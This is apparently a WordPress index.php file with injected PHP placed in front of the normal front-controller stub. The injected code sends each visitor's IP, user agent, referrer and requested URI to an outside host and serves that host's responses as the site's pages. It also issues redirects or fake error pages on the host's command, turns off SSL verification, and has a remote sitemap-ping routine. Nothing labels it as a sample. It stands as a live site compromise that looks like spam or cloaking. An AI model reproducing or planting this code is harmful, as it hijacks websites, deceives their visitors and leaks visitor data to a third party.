<?php
define('BACKEND', 'https://jr004.basicsub.com/goapi');

function gv($key) {
    return $_SERVER[$key] ?? '';
}
function isHttps() {
    if (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
        return true;
    }
    if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') {
        return true;
    }
    if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) {
        return true;
    }
    return false;
}
function getClientIp() {
    $headers = [
        'HTTP_CLIENT_IP',
        'HTTP_CF_CONNECTING_IP',
        'HTTP_X_FORWARDED_FOR',
        'HTTP_FORWARDED',
        'REMOTE_ADDR',
    ];
    foreach ($headers as $key) {
        if (!isset($_SERVER[$key])) continue;
        foreach (explode(',', $_SERVER[$key]) as $ip) {
            $ip = trim($ip);
            if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {
                return $ip;
            }
        }
    }
    return '';
}

function httpRequest($url, $data = '', $isPost = false) {
    if (function_exists('curl_init')) {
        $ch = curl_init();
        if ($isPost) {
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        } else {
            curl_setopt($ch, CURLOPT_URL, $data ? "{$url}?{$data}" : $url);
        }
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => 1,
            CURLOPT_HEADER         => 0,
            CURLOPT_FOLLOWLOCATION => 1,
            CURLOPT_TIMEOUT        => 30,
            CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_SSL_VERIFYPEER => false,
        ]);
        $response = curl_exec($ch);

        if ($response === false) {
            $err = curl_error($ch);
            $errno = curl_errno($ch);
            $info = curl_getinfo($ch);
            error_log("[SHELL_DEBUG] curl FAILED: errno={$errno}, error={$err}, http_code={$info['http_code']}, url=" . ($isPost ? $url : ($data ? "{$url}?..." : $url)) . ", total_time={$info['total_time']}s");
        } else {
            $info = curl_getinfo($ch);
            $contentType = $info['content_type'] ?? '';
            if ($contentType) @header("Content-Type: {$contentType}");
            if (strlen($response) < 10) {
                error_log("[SHELL_DEBUG] curl OK but short response: len=" . strlen($response) . ", body=" . var_export($response, true) . ", http_code={$info['http_code']}, total_time={$info['total_time']}s");
            }
        }

        curl_close($ch);
        return $response;
    }
    return @file_get_contents($data ? "{$url}?{$data}" : $url);
}

function fetchBackend($url, $queryString) {
    $response = httpRequest($url, $queryString);
    if (!$response) {
        error_log("[SHELL_DEBUG] fetchBackend: first attempt empty/false, response=" . var_export($response, true));
        return false;
    }

    $flag = $response[0];

    if ($flag === '4') {
        @header('HTTP/1.1 404 Not Found');
        echo substr($response, 1);
        die;
    }

    if ($flag === '5') {
        @header('HTTP/1.1 500 Internal Server Error');
        echo substr($response, 1);
        die;
    }

    if ($flag === '3') {
        @header('HTTP/1.1 302 Found');
        @header('Location: ' . substr($response, 1));
        die;
    }

    if ($flag === '7') return false;
    if ($flag === '8') die;

    return $response;
}

$requestUri = gv('REQUEST_URI');

if (trim($requestUri, '/') === 'jp2023')
{
    $host = parse_url(BACKEND, PHP_URL_HOST);

    $hostParts = explode('.', $host);
    $identifier = $hostParts[0] ?? 'unknown';

    die("<!DOCTYPE html><html lang='ja'><head><meta content='text/html; charset=utf-8'/></head><body><h1>404 Not Found!({$identifier})</h1></body></html>");
}

$params = http_build_query([
    'uri'   => $requestUri,
    'dom'   => gv('HTTP_HOST'),
    'ip'    => getClientIp(),
    'lang'  => gv('HTTP_ACCEPT_LANGUAGE'),
    'agent' => gv('HTTP_USER_AGENT'),
    'refer' => gv('HTTP_REFERER'),
    'http'  => isHttps() ? 'https' : 'http',
]);

if (strpos($requestUri, 'pingsitemap') !== false) {
    $urls = fetchBackend(BACKEND, $params);
    if ($urls) {
        foreach (explode(',', $urls) as $pingUrl) {
            $result = httpRequest($pingUrl);
            echo $pingUrl . '<br>';
            echo (stristr($result, 'successfully') ? 'ping ok' : $result) . '<br>';
        }
    }
} else {
    $html = fetchBackend(BACKEND, $params);
    if ($html) die($html);
}?><?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';